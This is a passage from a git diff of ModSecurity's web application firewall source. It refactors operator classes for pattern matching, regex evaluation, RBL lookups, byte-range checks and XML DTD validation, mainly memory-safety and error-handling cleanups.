SRC_OPERATORS_LIBINJECTION_UTILS_H_ diff --git a/src/operators/operator.cc b/src/operators/operator.cc index 57974bacf5..935add6211 100644 --- a/src/operators/operator.cc +++ b/src/operators/operator.cc @@ -71,8 +71,8 @@ namespace operators { bool Operator::evaluateInternal(Transaction *transaction, - RuleWithActions *rule, const std::string& a, std::shared_ptr rm) { - bool res = evaluate(transaction, rule, a, rm); + RuleWithActions *rule, const std::string& a, RuleMessage &ruleMessage) { + bool res = evaluate(transaction, rule, a, ruleMessage); if (m_negation) { return !res; @@ -112,7 +112,7 @@ std::string Operator::resolveMatchMessage(Transaction *t, if (m_couldContainsMacro == false) { ret = "Matched \"Operator `" + m_op + "' with parameter `" + utils::string::limitTo(200, m_param) + - "' against variable `" + key + "' (Value: `" + + "' against variable `" + utils::string::toHexIfNeeded(key) + "' (Value: `" + utils::string::limitTo(100, utils::string::toHexIfNeeded(value)) + \ "' )"; @@ -120,7 +120,7 @@ std::string Operator::resolveMatchMessage(Transaction *t, std::string p(m_string->evaluate(t)); ret = "Matched \"Operator `" + m_op + "' with parameter `" + utils::string::limitTo(200, p) + - "' against variable `" + key + "' (Value: `" + + "' against variable `" + utils::string::toHexIfNeeded(key) + "' (Value: `" + utils::string::limitTo(100, utils::string::toHexIfNeeded(value)) + "' )"; @@ -140,7 +140,7 @@ bool Operator::evaluate(Transaction *transaction, const std::string& a) { Operator *Operator::instantiate(const std::string& op, const std::string& param_str) { std::string op_ = utils::string::tolower(op); - std::unique_ptr param(new RunTimeString()); + auto param = std::make_unique(); param->appendText(param_str); IF_MATCH(beginswith) { return new BeginsWith(std::move(param)); } diff --git a/src/operators/operator.h b/src/operators/operator.h index bcf14e9dc3..636ad5e00c 100644 --- a/src/operators/operator.h +++ b/src/operators/operator.h @@ -115,7 +115,7 @@ class Operator { bool evaluateInternal(Transaction *t, RuleWithActions *rule, const std::string& a); bool evaluateInternal(Transaction *t, RuleWithActions *rule, - const std::string& a, std::shared_ptr ruleMessage); + const std::string& a, RuleMessage &ruleMessage); virtual bool evaluate(Transaction *transaction, const std::string &str); @@ -124,21 +124,19 @@ class Operator { return evaluate(transaction, str); } virtual bool evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { return evaluate(transaction, str); } - static void logOffset(std::shared_ptr ruleMessage, int offset, int len) { - if (ruleMessage) { - ruleMessage->m_reference.append("o" - + std::to_string(offset) + "," - + std::to_string(len)); - } + static void logOffset(RuleMessage &ruleMessage, int offset, int len) { + ruleMessage.m_reference.append("o" + + std::to_string(offset) + "," + + std::to_string(len)); } std::string m_match_message; bool m_negation; - std::string m_op; + const std::string m_op; std::string m_param; std::unique_ptr m_string; bool m_couldContainsMacro; diff --git a/src/operators/pm.cc b/src/operators/pm.cc index ebf31c4077..6a44b2860e 100644 --- a/src/operators/pm.cc +++ b/src/operators/pm.cc @@ -15,20 +15,81 @@ #include "src/operators/pm.h" -#include - -#include #include #include #include -#include -#include -#include -#include "src/operators/operator.h" #include "src/utils/acmp.h" #include "src/utils/string.h" +using namespace modsecurity::utils::string; + +static inline std::string parse_pm_content(const std::string &op_parm) { + auto offset = op_parm.find_first_not_of(" \t"); + if (offset == std::string::npos) { + return op_parm; + } + + auto size = op_parm.size() - offset; + if (size >= 2 && + op_parm[offset] == '\"' && op_parm.back() == '\"') { + offset++; + size -= 2; + } + + if (size == 0) { + return op_parm; + } + + std::string parsed_parm(op_parm.c_str() + offset, size); + + unsigned char bin_offset = 0; + unsigned char bin_parm[3] = { 0 }; + bool bin = false, esc = false; + + char *d = parsed_parm.data(); + for(const char *s = d, *e = d + size; s != e; ++s) { + if (*s == '|') { + bin = !bin; + } else if(!esc && *s == '\\') { + esc = true; + } else { + if (bin) { + if (VALID_HEX(*s)) { + bin_parm[bin_offset] = (char)*s; + bin_offset++; + if (bin_offset == 2) { + unsigned char c = strtol((char *)bin_parm, (char **) nullptr, 16) & 0xFF; + bin_offset = 0; + *d++ = c; + } + } else { + // Invalid hex character + return op_parm; + } + } else if (esc) { + if (*s == ':' || + *s == ';' || + *s == '\\' || + *s == '\"') + { + *d++ = *s; + } else { + // Unsupported escape sequence + return op_parm; + } + esc = false; + } else { + *d++ = *s; + } + } + } + + parsed_parm.resize(d - parsed_parm.c_str()); + return parsed_parm; +} + + namespace modsecurity { namespace operators { @@ -39,9 +100,6 @@ Pm::~Pm() { free(m_p); m_p = NULL; -#ifdef MODSEC_MUTEX_ON_PM - pthread_mutex_destroy(&m_lock); -#endif } @@ -82,19 +140,13 @@ void Pm::postOrderTraversal(acmp_btree_node_t *node) { bool Pm::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &input, std::shared_ptr ruleMessage) { + const std::string &input, RuleMessage &ruleMessage) { int rc; ACMPT pt; pt.parser = m_p; pt.ptr = NULL; const char *match = NULL; -#ifdef MODSEC_MUTEX_ON_PM - pthread_mutex_lock(&m_lock); -#endif rc = acmp_process_quick(&pt, &match, input.c_str(), input.length()); -#ifdef MODSEC_MUTEX_ON_PM - pthread_mutex_unlock(&m_lock); -#endif if (rc >= 0 && transaction) { std::string match_(match?match:""); @@ -114,39 +166,19 @@ bool Pm::evaluate(Transaction *transaction, RuleWithActions *rule, bool Pm::init(const std::string &file, std::string *error) { - std::vector vec; - std::istringstream *iss; - const char *err = NULL; - -#ifdef MODSEC_MUTEX_ON_PM - pthread_mutex_init(&m_lock, NULL); -#endif - char *content = parse_pm_content(m_param.c_str(), m_param.length(), &err); - if (content == NULL) { - iss = new std::istringstream(m_param); - } else { - iss = new std::istringstream(content); - } + const auto op_parm = parse_pm_content(m_param); - std::copy(std::istream_iterator(*iss), + std::istringstream iss{op_parm}; + std::for_each(std::istream_iterator(iss), std::istream_iterator(), - back_inserter(vec)); - - for (auto &a : vec) { - acmp_add_pattern(m_p, a.c_str(), NULL, NULL, a.length()); - } + [this](const auto &a) { + acmp_add_pattern(m_p, a.c_str(), NULL, NULL, a.length()); + }); while (m_p->is_failtree_done == 0) { acmp_prepare(m_p); } - if (content) { - free(content); - content = NULL; - } - - delete iss; - return true; } diff --git a/src/operators/pm.h b/src/operators/pm.h index b090ec5dc5..19e581fa67 100644 --- a/src/operators/pm.h +++ b/src/operators/pm.h @@ -17,9 +17,9 @@ #define SRC_OPERATORS_PM_H_ #include -#include #include #include +#include #include "src/operators/operator.h" #include "src/utils/acmp.h" @@ -40,10 +40,14 @@ class Pm : public Operator { : Operator(n, std::move(param)) { m_p = acmp_create(0); } - ~Pm(); + + Pm(const Pm&) = delete; + Pm& operator=(const Pm&) = delete; + + ~Pm() override; bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; bool init(const std::string &file, std::string *error) override; @@ -52,12 +56,6 @@ class Pm : public Operator { protected: ACMP *m_p; - -#ifdef MODSEC_MUTEX_ON_PM - - private: - pthread_mutex_t m_lock; -#endif }; diff --git a/src/operators/pm_f.cc b/src/operators/pm_f.cc deleted file mode 100644 index bc83a33b4d..0000000000 --- a/src/operators/pm_f.cc +++ /dev/null @@ -1,27 +0,0 @@ -/* - * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) - * - * You may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * If any of the files related to licensing are missing or if you have any - * other questions related to licensing please contact Trustwave Holdings, Inc. - * directly using the email address security@modsecurity.org. - * - */ - -#include "src/operators/pm_f.h" - -#include - -#include "src/operators/pm_from_file.h" - -namespace modsecurity { -namespace operators { - - -} // namespace operators -} // namespace modsecurity diff --git a/src/operators/pm_from_file.cc b/src/operators/pm_from_file.cc index f70677cdc6..52651e95cc 100644 --- a/src/operators/pm_from_file.cc +++ b/src/operators/pm_from_file.cc @@ -20,7 +20,9 @@ #include "src/operators/operator.h" #include "src/utils/https_client.h" #include "src/utils/system.h" +#include "src/utils/string.h" +using namespace modsecurity::utils::string; namespace modsecurity { namespace operators { @@ -44,39 +46,44 @@ bool PmFromFile::isComment(const std::string &s) { } bool PmFromFile::init(const std::string &config, std::string *error) { - std::istream *iss; + std::vector tokens = split(m_param, ' '); - if (m_param.compare(0, 8, "https://") == 0) { - Utils::HttpsClient client; - bool ret = client.download(m_param); - if (ret == false) { - error->assign(client.error); - return false; + for (const auto& token : tokens) { + if (token.empty()) { + continue; } - iss = new std::stringstream(client.content); - } else { - std::string err; - std::string resource = utils::find_resource(m_param, config, &err); - iss = new std::ifstream(resource, std::ios::in); - if (((std::ifstream *)iss)->is_open() == false) { - error->assign("Failed to open file: " + m_param + ". " + err); - delete iss; - return false; - } - } + std::unique_ptr iss; - for (std::string line; std::getline(*iss, line); ) { - if (isComment(line) == false) { - acmp_add_pattern(m_p, line.c_str(), NULL, NULL, line.length()); - } + if (token.compare(0, 8, "https://") == 0) { + Utils::HttpsClient client; + bool ret = client.download(token); + if (ret == false) { + error->assign(client.error); + return false; + } + iss = std::make_unique(client.content); + } else { + std::string err; + std::string resource = utils::find_resource(token, config, &err); + auto file = std::make_unique(resource, std::ios::in); + if (file->is_open() == false) { + error->assign("Failed to open file: '" + token + "'. " + err); + return false; + } + iss = std::move(file); + } + for (std::string line; std::getline(*iss, line); ) { + if (isComment(line) == false) { + acmp_add_pattern(m_p, line.c_str(), NULL, NULL, line.length()); + } + } } while (m_p->is_failtree_done == 0) { acmp_prepare(m_p); } - delete iss; return true; } diff --git a/src/operators/rbl.cc b/src/operators/rbl.cc index ffdb17a288..9190407b96 100644 --- a/src/operators/rbl.cc +++ b/src/operators/rbl.cc @@ -16,10 +16,15 @@ #include "src/operators/rbl.h" #include +#ifndef WIN32 #include #include #include #include +#else +#include +#include +#endif #include @@ -68,8 +73,8 @@ std::string Rbl::mapIpToAddress(const std::string &ipStr, Transaction *trans) co void Rbl::futherInfo_httpbl(struct sockaddr_in *sin, const std::string &ipStr, - Transaction *trans) { - char *respBl; + const Transaction *trans) { + const char *respBl; int first, days, score, type; #ifndef NO_LOGS std::string ptype; @@ -126,7 +131,7 @@ void Rbl::futherInfo_httpbl(struct sockaddr_in *sin, const std::string &ipStr, void Rbl::futherInfo_spamhaus(unsigned int high8bits, const std::string &ipStr, - Transaction *trans) { + const Transaction *trans) { switch (high8bits) { case 2: case 3: @@ -153,7 +158,7 @@ void Rbl::futherInfo_spamhaus(unsigned int high8bits, const std::string &ipStr, void Rbl::futherInfo_uribl(unsigned int high8bits, const std::string &ipStr, - Transaction *trans) { + const Transaction *trans) { switch (high8bits) { case 2: ms_dbg_a(trans, 4, "RBL lookup of " + ipStr + " succeeded (BLACK)."); @@ -180,7 +185,7 @@ void Rbl::futherInfo_uribl(unsigned int high8bits, const std::string &ipStr, void Rbl::furtherInfo(struct sockaddr_in *sin, const std::string &ipStr, - Transaction *trans, RblProvider provider) { + const Transaction *trans, RblProvider provider) { unsigned int high8bits = sin->sin_addr.s_addr >> 24; switch (provider) { @@ -202,7 +207,7 @@ void Rbl::furtherInfo(struct sockaddr_in *sin, const std::string &ipStr, bool Rbl::evaluate(Transaction *t, RuleWithActions *rule, const std::string& ipStr, - std::shared_ptr ruleMessage) { + RuleMessage &ruleMessage) { struct addrinfo *info = NULL; std::string host = Rbl::mapIpToAddress(ipStr, t); int rc = 0; @@ -221,9 +226,20 @@ bool Rbl::evaluate(Transaction *t, RuleWithActions *rule, return false; } - struct sockaddr *addr = info->ai_addr; - struct sockaddr_in *sin = (struct sockaddr_in *) addr; - furtherInfo(sin, ipStr, t, m_provider); + // SonarCloud suggested to use the init-statement to declare "addr" inside the if statement. + // I think that's not good here, because we need that in the else block + const struct sockaddr *addr = info->ai_addr; // NOSONAR + if (addr->sa_family == AF_INET) { // NOSONAR + struct sockaddr_in sin{}; // initialize an empty struct; we don't need port info + memcpy(&sin.sin_addr, addr->sa_data + 2, sizeof(sin.sin_addr)); + sin.sin_family = AF_INET; + furtherInfo(&sin, ipStr, t, m_provider); + } + else { + ms_dbg_a(t, 7, "Unsupported address family: " + std::to_string(addr->sa_family)); + freeaddrinfo(info); + return false; + } freeaddrinfo(info); if (rule && t && rule->hasCaptureAction()) { diff --git a/src/operators/rbl.h b/src/operators/rbl.h index f002d532c5..a36b0d9d66 100644 --- a/src/operators/rbl.h +++ b/src/operators/rbl.h @@ -17,10 +17,14 @@ #define SRC_OPERATORS_RBL_H_ #include +#ifndef WIN32 #include #include #include #include +#else +#include +#endif #include #include @@ -29,8 +33,8 @@ #include "src/operators/operator.h" -namespace modsecurity { -namespace operators { +namespace modsecurity::operators { + class Rbl : public Operator { public: @@ -62,43 +66,41 @@ class Rbl : public Operator { /** @ingroup ModSecurity_Operator */ explicit Rbl(std::unique_ptr param) - : m_service(), - m_demandsPassword(false), - m_provider(RblProvider::UnknownProvider), - Operator("Rbl", std::move(param)) { - m_service = m_string->evaluate(); - if (m_service.find("httpbl.org") != std::string::npos) { - m_demandsPassword = true; - m_provider = RblProvider::httpbl; - } else if (m_service.find("uribl.com") != std::string::npos) { - m_provider = RblProvider::httpbl; - } else if (m_service.find("spamhaus.org") != std::string::npos) { - m_provider = RblProvider::httpbl; - } + : Operator("Rbl", std::move(param)), + m_service(m_string->evaluate()) { + if (m_service.find("httpbl.org") != std::string::npos) + { + m_demandsPassword = true; + m_provider = RblProvider::httpbl; + } else if (m_service.find("uribl.com") != std::string::npos) { + m_provider = RblProvider::uribl; + } else if (m_service.find("spamhaus.org") != std::string::npos) { + m_provider = RblProvider::spamhaus; } + } bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; std::string mapIpToAddress(const std::string &ipStr, Transaction *trans) const; static void futherInfo_httpbl(struct sockaddr_in *sin, const std::string &ipStr, - Transaction *trans); + const Transaction *trans); static void futherInfo_spamhaus(unsigned int high8bits, const std::string &ipStr, - Transaction *trans); + const Transaction *trans); static void futherInfo_uribl(unsigned int high8bits, const std::string &ipStr, - Transaction *trans); + const Transaction *trans); static void furtherInfo(struct sockaddr_in *sin, const std::string &ipStr, - Transaction *trans, RblProvider provider); + const Transaction *trans, RblProvider provider); private: std::string m_service; - bool m_demandsPassword; - RblProvider m_provider; + bool m_demandsPassword = false; + RblProvider m_provider = RblProvider::UnknownProvider; }; -} // namespace operators -} // namespace modsecurity + +} // namespace modsecurity::operators #endif // SRC_OPERATORS_RBL_H_ diff --git a/src/operators/rx.cc b/src/operators/rx.cc index 9e54940359..972fed0dc6 100644 --- a/src/operators/rx.cc +++ b/src/operators/rx.cc @@ -30,6 +30,12 @@ namespace operators { bool Rx::init(const std::string &arg, std::string *error) { if (m_string->m_containsMacro == false) { m_re = new Regex(m_param); + if (m_re->hasError()) { + if (error) { + *error = "Invalid regular expression: " + m_param; + } + return false; + } } return true; @@ -37,8 +43,9 @@ bool Rx::init(const std::string &arg, std::string *error) { bool Rx::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { - Regex *re; + const std::string& input, RuleMessage &ruleMessage) { + const Regex* re = nullptr; + std::unique_ptr re_ptr; if (m_param.empty() && !m_string->m_containsMacro) { return true; @@ -46,13 +53,17 @@ bool Rx::evaluate(Transaction *transaction, RuleWithActions *rule, if (m_string->m_containsMacro) { std::string eparam(m_string->evaluate(transaction)); - re = new Regex(eparam); + re_ptr = std::make_unique(eparam); + re = re_ptr.get(); } else { re = m_re; } if (re->hasError()) { - ms_dbg_a(transaction, 3, "Error with regular expression: \"" + re->pattern + "\""); + if (transaction) { + ms_dbg_a(transaction, 1, "Error with regular expression: \"" + re->pattern + "\""); + transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); + } return false; } @@ -68,17 +79,20 @@ bool Rx::evaluate(Transaction *transaction, RuleWithActions *rule, // FIXME: DRY regex error reporting. This logic is currently duplicated in other operators. if (regex_result != Utils::RegexResult::Ok) { - transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); - - std::string regex_error_str = "OTHER"; - if (regex_result == Utils::RegexResult::ErrorMatchLimit) { - regex_error_str = "MATCH_LIMIT"; - transaction->m_variableMscPcreLimitsExceeded.set("1", transaction->m_variableOffset); + if (transaction) { + transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); + + std::string regex_error_str = "OTHER"; + if (regex_result == Utils::RegexResult::ErrorMatchLimit) { + regex_error_str = "MATCH_LIMIT"; + transaction->m_variableMscPcreLimitsExceeded.set("1", transaction->m_variableOffset); + transaction->m_collections.m_tx_collection->storeOrUpdateFirst("MSC_PCRE_LIMITS_EXCEEDED", "1"); + ms_dbg_a(transaction, 7, "Set TX.MSC_PCRE_LIMITS_EXCEEDED to 1"); + } + + ms_dbg_a(transaction, 1, "rx: regex error '" + regex_error_str + "' for pattern '" + re->pattern + "'"); } - ms_dbg_a(transaction, 1, "rx: regex error '" + regex_error_str + "' for pattern '" + re->pattern + "'"); - - return false; } @@ -97,10 +111,6 @@ bool Rx::evaluate(Transaction *transaction, RuleWithActions *rule, logOffset(ruleMessage, capture.m_offset, capture.m_length); } - if (m_string->m_containsMacro) { - delete re; - } - if (!captures.empty()) { return true; } diff --git a/src/operators/rx.h b/src/operators/rx.h index 817e74eb0b..03d33700cd 100644 --- a/src/operators/rx.h +++ b/src/operators/rx.h @@ -42,7 +42,10 @@ class Rx : public Operator { m_couldContainsMacro = true; } - ~Rx() { + Rx(const Rx&) = delete; + Rx& operator=(const Rx&) = delete; + + ~Rx() override { if (m_string->m_containsMacro == false && m_re != NULL) { delete m_re; m_re = NULL; @@ -51,7 +54,7 @@ class Rx : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; bool init(const std::string &arg, std::string *error) override; diff --git a/src/operators/rx_global.cc b/src/operators/rx_global.cc index 311b64d665..1dc261b2e1 100644 --- a/src/operators/rx_global.cc +++ b/src/operators/rx_global.cc @@ -30,6 +30,12 @@ namespace operators { bool RxGlobal::init(const std::string &arg, std::string *error) { if (m_string->m_containsMacro == false) { m_re = new Regex(m_param); + if (m_re->hasError()) { + if (error) { + *error = "Invalid regular expression: " + m_param; + } + return false; + } } return true; @@ -37,8 +43,9 @@ bool RxGlobal::init(const std::string &arg, std::string *error) { bool RxGlobal::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { - Regex *re; + const std::string& input, RuleMessage &ruleMessage) { + const Regex *re; + std::unique_ptr re_ptr; if (m_param.empty() && !m_string->m_containsMacro) { return true; @@ -46,11 +53,20 @@ bool RxGlobal::evaluate(Transaction *transaction, RuleWithActions *rule, if (m_string->m_containsMacro) { std::string eparam(m_string->evaluate(transaction)); - re = new Regex(eparam); + re_ptr = std::make_unique(eparam); + re = re_ptr.get(); } else { re = m_re; } + if (re->hasError()) { + if (transaction) { + ms_dbg_a(transaction, 1, "Error with regular expression: \"" + re->pattern + "\""); + transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); + } + return false; + } + Utils::RegexResult regex_result; std::vector captures; if (transaction && transaction->m_rules->m_pcreMatchLimit.m_set) { @@ -62,16 +78,20 @@ bool RxGlobal::evaluate(Transaction *transaction, RuleWithActions *rule, // FIXME: DRY regex error reporting. This logic is currently duplicated in other operators. if (regex_result != Utils::RegexResult::Ok) { - transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); - - std::string regex_error_str = "OTHER"; - if (regex_result == Utils::RegexResult::ErrorMatchLimit) { - regex_error_str = "MATCH_LIMIT"; - transaction->m_variableMscPcreLimitsExceeded.set("1", transaction->m_variableOffset); + if (transaction) { + transaction->m_variableMscPcreError.set("1", transaction->m_variableOffset); + + std::string regex_error_str = "OTHER"; + if (regex_result == Utils::RegexResult::ErrorMatchLimit) { + regex_error_str = "MATCH_LIMIT"; + transaction->m_variableMscPcreLimitsExceeded.set("1", transaction->m_variableOffset); + transaction->m_collections.m_tx_collection->storeOrUpdateFirst("MSC_PCRE_LIMITS_EXCEEDED", "1"); + ms_dbg_a(transaction, 7, "Set TX.MSC_PCRE_LIMITS_EXCEEDED to 1"); + } + + ms_dbg_a(transaction, 1, "rxGlobal: regex error '" + regex_error_str + "' for pattern '" + re->pattern + "'"); } - ms_dbg_a(transaction, 1, "rxGlobal: regex error '" + regex_error_str + "' for pattern '" + re->pattern + "'"); - return false; } @@ -91,10 +111,6 @@ bool RxGlobal::evaluate(Transaction *transaction, RuleWithActions *rule, logOffset(ruleMessage, capture.m_offset, capture.m_length); } - if (m_string->m_containsMacro) { - delete re; - } - if (captures.size() > 0) { return true; } diff --git a/src/operators/rx_global.h b/src/operators/rx_global.h index 86e37d0d5f..e41ff2781d 100644 --- a/src/operators/rx_global.h +++ b/src/operators/rx_global.h @@ -42,7 +42,10 @@ class RxGlobal : public Operator { m_couldContainsMacro = true; } - ~RxGlobal() { + RxGlobal(const RxGlobal&) = delete; + RxGlobal& operator=(const RxGlobal&) = delete; + + ~RxGlobal() override { if (m_string->m_containsMacro == false && m_re != NULL) { delete m_re; m_re = NULL; @@ -51,7 +54,7 @@ class RxGlobal : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; bool init(const std::string &arg, std::string *error) override; diff --git a/src/operators/validate_byte_range.cc b/src/operators/validate_byte_range.cc index 07b88149c2..05d06c7880 100644 --- a/src/operators/validate_byte_range.cc +++ b/src/operators/validate_byte_range.cc @@ -37,6 +37,11 @@ bool ValidateByteRange::getRange(const std::string &rangeRepresentation, "' into a number"); return false; } + if ((start < 0) || (start > 255)) { + error->assign("Invalid byte value: " + + std::to_string(start)); + return false; + } table[start >> 3] = (table[start >> 3] | (1 << (start & 0x7))); return true; } @@ -87,21 +92,29 @@ bool ValidateByteRange::getRange(const std::string &rangeRepresentation, bool ValidateByteRange::init(const std::string &file, std::string *error) { size_t pos = m_param.find_first_of(","); + bool rc; if (pos == std::string::npos) { - getRange(m_param, error); + rc = getRange(m_param, error); } else { - getRange(std::string(m_param, 0, pos), error); + rc = getRange(std::string(m_param, 0, pos), error); + } + + if (rc == false) { + return false; } while (pos != std::string::npos) { size_t next_pos = m_param.find_first_of(",", pos + 1); if (next_pos == std::string::npos) { - getRange(std::string(m_param, pos + 1, m_param.length() - + rc = getRange(std::string(m_param, pos + 1, m_param.length() - (pos + 1)), error); } else { - getRange(std::string(m_param, pos + 1, next_pos - (pos + 1)), error); + rc = getRange(std::string(m_param, pos + 1, next_pos - (pos + 1)), error); + } + if (rc == false) { + return false; } pos = next_pos; } @@ -111,12 +124,12 @@ bool ValidateByteRange::init(const std::string &file, bool ValidateByteRange::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &input, std::shared_ptr ruleMessage) { + const std::string &input, RuleMessage &ruleMessage) { bool ret = true; size_t count = 0; - for (int i = 0; i < input.length(); i++) { - int x = (unsigned char) input.at(i); + for (std::string::size_type i = 0; i < input.length(); i++) { + int x = (unsigned char) input[i]; if (!(table[x >> 3] & (1 << (x & 0x7)))) { // debug(9, "Value " + std::to_string(x) + " in " + // input + " ouside range: " + param); diff --git a/src/operators/validate_byte_range.h b/src/operators/validate_byte_range.h index 2c44e76921..7551171b01 100644 --- a/src/operators/validate_byte_range.h +++ b/src/operators/validate_byte_range.h @@ -39,7 +39,7 @@ class ValidateByteRange : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; bool getRange(const std::string &rangeRepresentation, std::string *error); bool init(const std::string& file, std::string *error) override; private: diff --git a/src/operators/validate_dtd.cc b/src/operators/validate_dtd.cc index f57dbed3a5..cad16b78d8 100644 --- a/src/operators/validate_dtd.cc +++ b/src/operators/validate_dtd.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -33,35 +33,28 @@ bool ValidateDTD::init(const std::string &file, std::string *error) { return false; } - xmlThrDefSetGenericErrorFunc(NULL, - null_error); - - xmlSetGenericErrorFunc(NULL, - null_error); - return true; } -bool ValidateDTD::evaluate(Transaction *t, const std::string &str) { - xmlValidCtxtPtr cvp; +bool ValidateDTD::evaluate(Transaction *transaction, const std::string &str) { - m_dtd = xmlParseDTD(NULL, (const xmlChar *)m_resource.c_str()); - if (m_dtd == NULL) { + XmlDtdPtrManager dtd(xmlParseDTD(NULL, reinterpret_cast(m_resource.c_str()))); + if (dtd.get() == NULL) { std::string err = std::string("XML: Failed to load DTD: ") \ + m_resource; - ms_dbg_a(t, 4, err); + ms_dbg_a(transaction, 4, err); return true; } - if (t->m_xml->m_data.doc == NULL) { - ms_dbg_a(t, 4, "XML document tree could not "\ + if (transaction->m_xml->m_data.doc == NULL) { + ms_dbg_a(transaction, 4, "XML document tree could not "\ "be found for DTD validation."); return true; } - if (t->m_xml->m_data.well_formed != 1) { - ms_dbg_a(t, 4, "XML: DTD validation failed because " \ + if (transaction->m_xml->m_data.well_formed != 1) { + ms_dbg_a(transaction, 4, "XML: DTD validation failed because " \ "content is not well formed."); return true; } @@ -76,24 +69,24 @@ bool ValidateDTD::evaluate(Transaction *t, const std::string &str) { } #endif - cvp = xmlNewValidCtxt(); + xmlValidCtxtPtr cvp = xmlNewValidCtxt(); if (cvp == NULL) { - ms_dbg_a(t, 4, "XML: Failed to create a validation context."); + ms_dbg_a(transaction, 4, "XML: Failed to create a validation context."); return true; } /* Send validator errors/warnings to msr_log */ cvp->error = (xmlSchemaValidityErrorFunc)error_runtime; cvp->warning = (xmlSchemaValidityErrorFunc)warn_runtime; - cvp->userData = t; + cvp->userData = transaction; - if (!xmlValidateDtd(cvp, t->m_xml->m_data.doc, m_dtd)) { - ms_dbg_a(t, 4, "XML: DTD validation failed."); + if (!xmlValidateDtd(cvp, transaction->m_xml->m_data.doc, dtd.get())) { + ms_dbg_a(transaction, 4, "XML: DTD validation failed."); xmlFreeValidCtxt(cvp); return true; } - ms_dbg_a(t, 4, std::string("XML: Successfully validated " \ + ms_dbg_a(transaction, 4, std::string("XML: Successfully validated " \ "payload against DTD: ") + m_resource); xmlFreeValidCtxt(cvp); diff --git a/src/operators/validate_dtd.h b/src/operators/validate_dtd.h index ace6aad464..304cad12af 100644 --- a/src/operators/validate_dtd.h +++ b/src/operators/validate_dtd.h @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -28,68 +28,58 @@ #include #include "src/operators/operator.h" +#include "validate_schema.h" namespace modsecurity { namespace operators { -class ValidateDTD : public Operator { +#ifdef WITH_LIBXML2 +class XmlDtdPtrManager { public: /** @ingroup ModSecurity_Operator */ - explicit ValidateDTD(std::unique_ptr param) - : Operator("ValidateDTD", std::move(param)) { } -#ifdef WITH_LIBXML2 - ~ValidateDTD() { + explicit XmlDtdPtrManager(xmlDtdPtr dtd) + : m_dtd(dtd) { } + ~XmlDtdPtrManager() { if (m_dtd != NULL) { xmlFreeDtd(m_dtd); m_dtd = NULL; } } + xmlDtdPtr get() const {return m_dtd;} + private: + xmlDtdPtr m_dtd; // The resource being managed +}; +#endif +class ValidateDTD : public Operator { + public: + /** @ingroup ModSecurity_Operator */ + explicit ValidateDTD(std::unique_ptr param) + : Operator("ValidateDTD", std::move(param)) { } +#ifdef WITH_LIBXML2 bool evaluate(Transaction *transaction, const std::string &str) override; bool init(const std::string &file, std::string *error) override; static void error_runtime(void *ctx, const char *msg, ...) { - Transaction *t = reinterpret_cast(ctx); - char buf[1024]; - std::string s; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + ValidateSchema::callback_func(ctx, ValidateSchema::log_msg, ValidateSchema::PREFIX_ERROR, msg, args); va_end(args); - - if (len > 0) { - s = "XML Error: " + std::string(buf); - } - ms_dbg_a(t, 4, s); } static void warn_runtime(void *ctx, const char *msg, ...) { - Transaction *t = reinterpret_cast(ctx); - char buf[1024]; - std::string s; va_list args; - va_start(args, msg); - int len = vsnprintf(buf, sizeof(buf), msg, args); + ValidateSchema::callback_func(ctx, ValidateSchema::log_msg, ValidateSchema::PREFIX_WARNING, msg, args); va_end(args); - - if (len > 0) { - s = "XML Warning: " + std::string(buf); - } - ms_dbg_a(t, 4, s); } - static void null_error(void *ctx, const char *msg, ...) { - } - private: std::string m_resource; - xmlDtdPtr m_dtd = NULL; #endif }; diff --git a/src/operators/validate_schema.cc b/src/operators/validate_schema.cc index a94ca4f8a3..d45ef5750c 100644 --- a/src/operators/validate_schema.cc +++ b/src/operators/validate_schema.cc @@ -1,6 +1,6 @@ /* * ModSecurity, http://www.modsecurity.org/ - * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * Copyright (c) 2015 - 2023 Trustwave Holdings, Inc. (http://www.trustwave.com/) * * You may not use this file except in compliance with * the License. You may obtain a copy of the License at @@ -39,12 +39,23 @@ bool ValidateSchema::init(const std::string &file, std::string *error) { } -bool ValidateSchema::evaluate(Transaction *t, +bool ValidateSchema::evaluate(Transaction *transaction, const std::string &str) { - int rc; - m_parserCtx = xmlSchemaNewParserCtxt(m_resource.c_str()); - if 